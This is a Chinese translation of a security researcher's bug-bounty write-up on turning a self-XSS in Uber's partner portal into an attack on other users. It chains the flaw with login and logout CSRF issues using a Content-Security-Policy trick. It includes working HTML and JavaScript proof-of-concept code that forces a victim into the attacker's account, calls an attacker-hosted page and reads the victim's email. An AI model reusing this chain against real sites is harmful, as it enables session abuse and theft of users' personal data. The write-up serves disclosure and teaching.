在优步的partner入口,也就是司机们可以登录然后更新他们的细节的界面,我找到了一个非常简单经典的XSS:把个人信息的一项改为:
<script>alert(document.domain);</script>
会导致代码被执行,然后一个alert会弹出。
这个点在登录后用了两分钟就找到了,之后才是有意思的地方。
有能力在其他界面的里执行额外的任意js代码被称作XSS(我觉得其实看我文章的99%都应该知道)。正常情况下,我们更希望针对其他用户来做XSS,这样才能拿到cookie,提交XHR请求之类的,如果你不能对其他用户做XSS,例如,这个代码只在你自己的账户里边执行了,这就叫self-xss。
现在我们找到的这个就好像是这种情况。你自己的个人信息界面里的地址部分只显示给你自己了(除非有其他的内部优步工具也显示了这个地址,但那种情况就不是我们正常考虑的了),我们也不能更改其他用户的地址来强制对他们进行XSS。
我其实一直不是很想提交有潜在的漏洞(在这个页面上的XSS还是挺酷的),所以我们来想想办法把self-xss中self的部分去了。
优步用到的OAuth工作流程还是比较典型的:
partners.uber.com
,之后code可以被换成access token为了防止在上面的截图里看的不够清楚,OAuth的回调:
/oauth/callback?code=...
里没有使用到推荐的state
参数,这就导致了一个在登录功能里的可能不算很重要的CSRF
漏洞。
另外,登出的功能也存在一个完全不算问题的CSRF漏洞。浏览到/logout
会摧毁用户的partner.uber.com
的session,然后重定向到login.uber.com
的登出功能。
由于我们的payload只在账号内有效,我们需要把用户登录到我们的账号,这样就会执行我们的payload然而,把他们登录到我们的账号就会导致他们的session被摧毁,这样就导致这个漏洞的大部分价值也没了(因为没有办法再以他们账号的名义去执行行为),所以让我们来把这三个小问题(self-xss和两个CSRF)链在一起。
(关于OAuth安全的其他内容可以去查看@homakov的指导)
我们的计划有三个部分:
partner.uber.com
session里登出,但是不登出login.uber.com
的session,这保证我们可以登回他们的账号我们首先想要发出一个请求到:
这样我们就可以让他们登录自己的账号。但是问题在于到这个位置的请求会导致一个302重定向到:
https://login.uber.com/logout/
这样就会销毁掉session。我们没办法截断每一个重定向然后drop掉请求,因为是浏览器隐式的去follow的。但是一个我们可以用的trick是通过CSP来定义哪些源是允许加载的(我希望你可以看出来这里我们使用一个本应该在这个情况帮助缓解XSS的特性的讽刺意义。。)
我们把策略设置为仅允许请求到:
partners.uber.com
但是会阻挡:
https://login.uber.com/logout/
<!-- Set content security policy to block requests to login.uber.com, so the target maintains their session -->
<meta http-equiv="Content-Security-Policy" content="img-src https://partners.uber.com">
<!-- Logout of partners.uber.com -->
<img src="">
通过违反CSP的错误信息我们可以看到这个方法是可以的
这一步相对简单,我们发一个请求到:
https://parners.uber.com/login/
来初始化登录(这一步是必须的,否则应用程序不会接受回调函数),通过CSP trick我们防止了整个工作流被完成,之后我们填入我们自己的code
(code可以通过登录进我们自己的账号去获取),这样就会登录进我们的账号了。
由于CSP违反会导致onerror
事件handler被触发,我们可以通过这样的方式来跳入下一步:
<!-- Set content security policy to block requests to login.uber.com, so the target maintains their session -->
<!-- 设置CSP阻挡到login.uber.com的请求,这样目标就会维持他们的session -->
<meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">
<!-- Logout of partners.uber.com -->
<!-- 登出partners.uber.com -->
<img src="" onerror="login();">
<script>
//Initiate login so that we can redirect them
// 初始化login,这样我们就可以重定向了
var login = function() {
var loginImg = document.createElement('img');
loginImg.src = 'https://partners.uber.com/login/';
loginImg.onerror = redir;
}
//Redirect them to login with our code
// 通过我们的代码重定向到login
var redir = function() {
//Get the code from the URL to make it easy for testing
var code = window.location.hash.slice(1);
var loginImg2 = document.createElement('img');
loginImg2.src = 'https://partners.uber.com/oauth/callback?code=' + code;
loginImg2.onerror = function() {
//Redirect to the profile page with the payload
window.location = 'https://partners.uber.com/profile/';
}
}
</script>
这一段是会被包含为XSS payload的代码,存储在我们的账号里。
一旦payload被执行了,我们可以切回我们的账号。
这必须在一个iframe里——我们得能够继续跑我们的代码。
// Create the iframe to log the user out of our account and back into theirs
// 创建一个iframe来登出用户的账号,然后登回我们的
var loginIframe = document.createElement('iframe');
loginIframe.setAttribute('src', 'https://fin1te.net/poc/uber/login-target.html');
document.body.appendChild(loginIframe);
iframe的内容再次使用了CSP的技巧:
<!-- Set content security policy to block requests to login.uber.com, so the target maintains their session -->
<!-- 设置CSP阻挡到lgoin.uber.com的请求,这样目标维持他们的session -->
<meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">
<!-- Log the user out of our partner account -->
<!-- 将用户从他们的partner账户中登出 -->
<img src="" onerror="redir();">
<script>
//Log them into partners via their session on login.uber.com
//通过login.uber.com的session登录到partners
var redir = function() {
window.location = 'https://partners.uber.com/login/';
};
</script>
最后一部分是创建另外一个iframe,这样我们就可以获取一些数据了:
//Wait a few seconds, then load the profile page, which is now *their* profile
//等几秒钟,然后加载个人信息页面,也就是他们自己的信息
setTimeout(function() {
var profileIframe = document.createElement('iframe');
profileIframe.setAttribute('src', 'https://partners.uber.com/profile/');
profileIframe.setAttribute('id', 'pi');
document.body.appendChild(profileIframe);
//Extract their email as PoC
// 获取他们的邮件作为poc
profileIframe.onload = function() {
var d = document.getElementById('pi').contentWindow.document.body.innerHTML;
var matches = /value="([^"]+)" name="email"/.exec(d);
alert(matches[1]);
}
}, 9000);
由于我们最后的iframe是和包含我们js的个人信息页同源的位置加载的,以及
X-Frame-Options
被设置为sameorigin
而不是deny
,我们可以通过(contentWindow
访问其中的内容)
经过这一系列步骤的组合,我们得到了以下的攻击流:
code
参数这个bug很有趣,而且证明了一个漏洞可以比原来以为的有更大的影响。
https://whitton.io/articles/uber-turning-self-xss-into-good-xss/